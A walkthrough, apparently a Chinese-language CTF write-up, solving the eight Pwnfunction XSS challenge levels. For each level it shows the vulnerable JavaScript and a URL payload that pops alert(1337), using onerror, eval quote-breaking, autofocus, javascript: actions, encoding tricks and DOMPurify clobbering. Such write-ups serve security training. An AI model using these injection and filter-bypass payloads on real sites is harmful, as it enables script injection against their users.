Pass Pwnfunction XSS

目录

Rule

1.Ma Spaghet!

2.Jefff

3.Ugandan Knuckles

4.Ricardo Milos

5.Ah That's Hawt

6.Ligma

7.Mafia

8.Ok, Boomer

Thanks Watching

All Down

---

Rule

        Pop an alert(1337)

        No user interaction

1.Ma Spaghet!

Code

<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

Pass

        使用img标签的报错进行alert

?somebody=<img src=1 onerror="alert(1337)">

2.Jefff

Code

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

Pass

        因为是eval，利用双引号闭合传入的name再接上alert并闭合后面的双引号即可

?jeff=a";alert(1337);"
?jeff=a"-alert(1337)-"
// JavaScript中也可以使用-来连接

3.Ugandan Knuckles

Code

<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

Pass

        input标签可以闭合在用户不介入的情况下可以使用autofocus自动对焦触发

?wey=a" onfocus="alert(1337)" autofocus="""

4.Ricardo Milos

Code

<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

Pass

        此处会接受ricardo的参数传递到action并在2s之后自动执行因此可以

?ricardo=javascript:alert(1337)

5.Ah That's Hawt

Code

<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

Pass

        很多的符号被过滤了可以使用img再使用location格式化为字符串

?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

6.Ligma

Code

  <script>
    balls = new URL(location).searchParams.get("balls") || "Ninja has Ligma";
    balls = balls.replace(/[A-Za-z0-9]/g, "");
    eval(balls);
  </script>

Pass

        过滤了字母和数字可以使用编码，如JSFuck

?balls=经过编码的alert(1337)

7.Mafia

Code

  <script>
    mafia = (new URL(location).searchParams.get('mafia') || '1+1')
    mafia = mafia.slice(0, 50)
    mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
    mafia = mafia.replace(/(alert|confirm|prompt)/g, '_')
    eval(mafia)
  </script>

Pass

        过滤许多字符并且限制了长度为50

        Way-1

        我们可以使用构造函数由于没过滤大写，可以先传入大写再使用toLowerCase转小写执行（因为JS严格区分大小写）

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

        Way-2

        可以使用parseInt将alert转成进制数再由toString转回来

parseInt('alert', 30)
// 8680439
8680439..toString(30)
// alert

至此构建我们的payload

?mafia=eval(8680439..toString(30))(1337)

        Way-3

        可以使用location.hash.slice(1)截取#后的传值

?mafia=eval(location.hash.slice(1))#alert(1337)

8.Ok, Boomer

Code

<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

Pass

        利用a标签传递id为ok的href到setTimeout（因为herf会自己toString），再使用DOMPurify白名单的协议绕过过滤，即

?boomer=<a id="ok" href="javascript:alert(1337)">
// javascript被DomPurity过滤
?boomer=<a id="ok" href="cid:alert(1337)">
// 使用白名单里的协议即可

Thanks Watching

All Down